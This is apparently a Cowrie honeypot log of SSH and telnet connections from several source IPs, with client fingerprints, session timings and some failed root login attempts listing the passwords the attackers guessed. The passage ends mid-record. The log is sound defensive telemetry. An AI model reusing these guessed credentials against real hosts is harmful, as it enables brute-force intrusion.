{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":42188,"dst_ip":"10.17.0.5","dst_port":22,"session":"6de2e6bbf1d4","protocol":"ssh","message":"New connection: 81.9.145.130:42188 (10.17.0.5:22) [session: 6de2e6bbf1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:10.047510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:10.055593Z","src_ip":"81.9.145.130","session":"6de2e6bbf1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:10.173800Z","src_ip":"81.9.145.130","session":"6de2e6bbf1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.80052971839905,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:10.412895Z","src_ip":"192.119.13.58","session":"43af654afd95","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$w0rd@2019","message":"login attempt [root/P@$$w0rd@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:10.668025Z","src_ip":"81.9.145.130","session":"6de2e6bbf1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:11.786917Z","src_ip":"81.9.145.130","session":"6de2e6bbf1d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.482033014297485,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:13.342220Z","src_ip":"192.119.13.58","session":"1c43d922e390","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52750,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f21ff2ffe1","protocol":"telnet","message":"New connection: 192.119.13.58:52750 (10.17.0.5:23) [session: 58f21ff2ffe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:13.482914Z"}
{"eventid":"cowrie.session.closed","duration":41.782023191452026,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:17.452384Z","src_ip":"192.119.13.58","session":"4fd1ccfbbdee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41384,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f219ca45a7a","protocol":"ssh","message":"New connection: 103.195.236.96:41384 (10.17.0.5:22) [session: 5f219ca45a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:20.130120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:20.134777Z","src_ip":"103.195.236.96","session":"5f219ca45a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:20.379485Z","src_ip":"103.195.236.96","session":"5f219ca45a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54656,"dst_ip":"10.17.0.5","dst_port":23,"session":"79cbf6d8c5b4","protocol":"telnet","message":"New connection: 192.119.13.58:54656 (10.17.0.5:23) [session: 79cbf6d8c5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:20.976252Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rfgbnjirf","message":"login attempt [root/rfgbnjirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:21.112668Z","src_ip":"103.195.236.96","session":"5f219ca45a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.697014808654785,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:21.333869Z","src_ip":"192.119.13.58","session":"4642f1e42919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"17ca83d407df","protocol":"telnet","message":"New connection: 192.119.13.58:56078 (10.17.0.5:23) [session: 17ca83d407df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:21.363460Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:22.376713Z","src_ip":"103.195.236.96","session":"5f219ca45a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34884,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b4bc0f072ef","protocol":"telnet","message":"New connection: 192.119.13.58:34884 (10.17.0.5:23) [session: 6b4bc0f072ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:23.056486Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42670,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba632487d91d","protocol":"telnet","message":"New connection: 192.119.13.58:42670 (10.17.0.5:23) [session: ba632487d91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:24.852197Z"}
{"eventid":"cowrie.session.closed","duration":43.02305817604065,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:25.313958Z","src_ip":"192.119.13.58","session":"123bebad3fed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a4acb1292a","protocol":"telnet","message":"New connection: 192.119.13.58:49710 (10.17.0.5:23) [session: b2a4acb1292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:26.464879Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47140,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4bcf3eeb75d","protocol":"telnet","message":"New connection: 192.119.13.58:47140 (10.17.0.5:23) [session: c4bcf3eeb75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:32.446443Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":49216,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e60032576bf","protocol":"ssh","message":"New connection: 103.15.222.183:49216 (10.17.0.5:22) [session: 6e60032576bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:36.442522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:36.447887Z","src_ip":"103.15.222.183","session":"6e60032576bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:36.693433Z","src_ip":"103.15.222.183","session":"6e60032576bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.307297468185425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:37.028315Z","src_ip":"192.119.13.58","session":"4cb6134ab68f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357913579","message":"login attempt [root/1357913579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:37.431210Z","src_ip":"103.15.222.183","session":"6e60032576bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45230,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e81008e5d91","protocol":"telnet","message":"New connection: 192.119.13.58:45230 (10.17.0.5:23) [session: 4e81008e5d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:38.669592Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:38.742552Z","src_ip":"103.15.222.183","session":"6e60032576bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b22d1a4aa8","protocol":"telnet","message":"New connection: 192.119.13.58:52318 (10.17.0.5:23) [session: a5b22d1a4aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:40.457907Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34826,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e72fdf9921","protocol":"telnet","message":"New connection: 192.119.13.58:34826 (10.17.0.5:23) [session: b1e72fdf9921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:43.096469Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37624,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ba4b97debed","protocol":"telnet","message":"New connection: 192.119.13.58:37624 (10.17.0.5:23) [session: 0ba4b97debed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:43.799045Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46802,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f580abc394","protocol":"telnet","message":"New connection: 192.119.13.58:46802 (10.17.0.5:23) [session: 32f580abc394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:46.198302Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51768,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b25ef0d40e2","protocol":"telnet","message":"New connection: 192.119.13.58:51768 (10.17.0.5:23) [session: 7b25ef0d40e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:47.466061Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":51800,"dst_ip":"159.203.135.109","dst_port":22,"session":"192d2f117806","protocol":"ssh","message":"New connection: 103.219.170.37:51800 (159.203.135.109:22) [session: 192d2f117806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:48.168820Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:48.243748Z","src_ip":"103.219.170.37","session":"192d2f117806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37644,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6ee5ec35877","protocol":"telnet","message":"New connection: 192.119.13.58:37644 (10.17.0.5:23) [session: e6ee5ec35877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:51.019207Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43066,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9ae16c99421","protocol":"telnet","message":"New connection: 192.119.13.58:43066 (10.17.0.5:23) [session: f9ae16c99421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:52.464057Z"}
{"eventid":"cowrie.session.closed","duration":40.15229916572571,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:53.635092Z","src_ip":"192.119.13.58","session":"58f21ff2ffe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.20943021774292,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:56.185580Z","src_ip":"192.119.13.58","session":"79cbf6d8c5b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.98741364479065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:56.839454Z","src_ip":"192.119.13.58","session":"ba632487d91d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.249.192.30","src_port":7553,"dst_ip":"10.17.0.5","dst_port":22,"session":"eed92eb567d6","protocol":"ssh","message":"New connection: 201.249.192.30:7553 (10.17.0.5:22) [session: eed92eb567d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:57.996314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:58.001463Z","src_ip":"201.249.192.30","session":"eed92eb567d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:58.072013Z","src_ip":"201.249.192.30","session":"eed92eb567d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"geri","message":"login attempt [root/geri] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:58.366531Z","src_ip":"201.249.192.30","session":"eed92eb567d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:51:59.435568Z","src_ip":"201.249.192.30","session":"eed92eb567d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":50692,"dst_ip":"10.17.0.5","dst_port":22,"session":"a30f9db2f58b","protocol":"ssh","message":"New connection: 103.98.149.87:50692 (10.17.0.5:22) [session: a30f9db2f58b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:07.247774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:07.982527Z","src_ip":"103.98.149.87","session":"a30f9db2f58b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:07.986653Z","src_ip":"103.98.149.87","session":"a30f9db2f58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53224,"dst_ip":"10.17.0.5","dst_port":23,"session":"a418f753d306","protocol":"telnet","message":"New connection: 192.119.13.58:53224 (10.17.0.5:23) [session: a418f753d306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:08.166559Z"}
{"eventid":"cowrie.session.closed","duration":0.0046651363372802734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:08.171123Z","src_ip":"192.119.13.58","session":"a418f753d306","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"25802580","message":"login attempt [root/25802580] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:09.560506Z","src_ip":"103.98.149.87","session":"a30f9db2f58b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":57822,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bd1fef5f6fd","protocol":"ssh","message":"New connection: 109.172.54.111:57822 (10.17.0.5:22) [session: 3bd1fef5f6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:10.297931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:52:10.302573Z","src_ip":"109.172.54.111","session":"3bd1fef5f6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@op